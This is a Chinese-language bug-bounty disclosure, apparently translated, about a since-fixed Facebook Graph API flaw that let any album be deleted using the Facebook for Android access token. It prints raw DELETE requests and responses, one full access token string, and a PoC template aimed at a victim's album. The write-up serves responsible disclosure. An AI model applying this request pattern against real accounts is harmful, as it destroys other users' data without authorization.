- A+
所属分类:漏洞分享
概述: 如果你的照片被不知不觉删除了,你会怎么办?
很显然,这个问题很让人烦是吧?这篇文章就是要讲我发现的一个漏洞,它允许恶意用户删除Facebook上的任何相册。没错,任何用户、页面、群组的相册都能被删掉。
Graph API是开发人员用来读取并写入用户数据的一种主要方式。Facebook所有的app用的都是Graph API。一般来讲,Graph API要求一个访问token来读取或写入用户数据。
Facebook开发人员的文档指出,相册并不能通过Graph API中的相册节点被删除。
我尝试通过图片浏览器访问token删除了我的一个相册。
Request :- DELETE /518171421550249 HTTP/1.1 Host : graph.facebook.com Content-Length: 245 access_token=CAACEdEose0cBAABAXPPuULhNCsYZA2cgSbajNEV99ZCHXoNPvp6LqgHmTNYvuNt3e5DD4wZA1eAMflPMCAGKVlaDbJQXPZAWqd3vkaAy9VvQnxyECVD0DYOpWm 3we0X3lp6ZB0hlaSDSkbcilmKYLAzQ6ql1ChyViTiSH1ZBvrjZAH3RQoova87KKsGJT3adTVZBaDSIZAYxRzCNtAC0SZCMzKAyCfXXy4RMUZD Response :- {"error":{"message":"(#200) Application does not have the capability to make this API call.","type":"OAuthException","code":200}}
为什么?因为这个应用并不具备删除相册的功能。但是我们需要注意它的错误信息。它告诉我们,一些其他应用确实有调用这个API的功能。
我决定尝试Facebook的移动访问token,因为我们能看到Facebook移动app上删除所有相册的删除选项,不是吗?太好了。它用的是相同的API。所以我就拿了我自己的一个相册id跟Facebook的安卓访问token,并进行尝试。
Request :- DELETE /518171421550249 HTTP/1.1 Host : graph.facebook.com Content-Length: 245 access_token=<Facebook_for_Android_Access_Token> Response :- true Album(518171421550249) got deleted :D so whats the next step? Took victim's album id and tried to delete it. I was very curious to see the result. Request :- DELETE /518171421550249 HTTP/1.1 Host : graph.facebook.com Content-Length: 245 access_token=<Facebook_for_Android_Access_Token> Response :- true
天哪!相册被删掉了!所以我拿到了删除你们所有Facebook相册的密钥,哈哈。
我马上把这个漏洞报告给Facebook安全团队。他们的反应太迅速了,并且用了不到两小时就提供了修复方案。
最后是PoC:
Request :- DELETE /<Victim's_photo_album_id> HTTP/1.1 Host : graph.facebook.com Content-Length: 245 access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>
如果你还不确定应该怎么做,请看下面的视频:
Facebook安全团队发出的首份感谢信:
修复答复并奖励了我12500美元,表彰我对漏洞的报告。
现在,漏洞已完全修复。
谢谢Facebook安全团队提供漏洞奖励项目并快速修复这一漏洞。